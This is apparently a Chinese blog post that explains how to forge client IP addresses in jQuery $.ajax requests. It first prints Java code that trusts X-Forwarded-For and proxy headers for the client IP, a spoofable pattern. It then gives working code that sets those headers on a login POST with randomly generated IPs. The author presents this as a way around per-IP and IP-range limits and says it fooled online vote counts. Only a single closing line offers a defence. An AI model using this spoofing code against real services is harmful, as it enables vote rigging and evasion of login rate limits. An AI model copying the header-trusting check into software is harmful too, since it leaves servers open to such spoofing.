$.ajax使用总结(二):伪造IP地址

在JAVA与PHP的程序中,为了保证IP的正确性,经常采用如下的方法获取浏览器端的IP地址,代码如下:

String ip = request.getHeader("x-forwarded-for");
if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) {
    ip = request.getHeader("Proxy-Client-IP");
}
if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) {
    ip = request.getHeader("WL-Proxy-Client-IP");
}
if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) {
    ip = request.getRemoteAddr();
}
return ip;

恰恰因为这所谓的安全性,才让我们找到了轻易替换IP地址的方法,我们只需要伪造这样的头部“x-forwarded-for”、“Proxy-Client-IP”、“WL-Proxy-Client-IP”,即可让服务器认为我们的地址是伪造的地址,从而绕过服务器端IP地址范围、单一IP地址不可多次访问等限制措施。

$.ajax的伪造IP地址的方法如下:

$.ajax('/login', {
    headers : {
        'x-forwarded-for': ip,
        //  'Proxy-Client-IP': ip,
        'WL-Proxy-Client-IP': ip
    },
    method:'POST',
    contentType:'application/json;charset=utf-8',
    //  以Payload方式提交
    data : JSON.stringify(data),
    success : function(datas) {
        //  输出结果
        console.log(datas)
    }
})

经测试,以上方法能骗过网上很多的IP地址测试,比如拉选票等,产生随地IP的方法如下(太简单粗暴了,建议改进):

//  这产生的IP可能会落在内网
function createIp() {
    var a = Math.round(Math.random() * 250) + 1,
        b = Math.round(Math.random() * 250) + 1,
    c = Math.round(Math.random() * 240) + 1,
    d = Math.round(Math.random() * 240) + 1;
    return [a, b, c, d].join('.');
}

总结

不断改进IP地址的获取方法,比如从流量中解析IP地址(当然也可以被伪造),才能避免被浏览器端的请求欺骗。

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值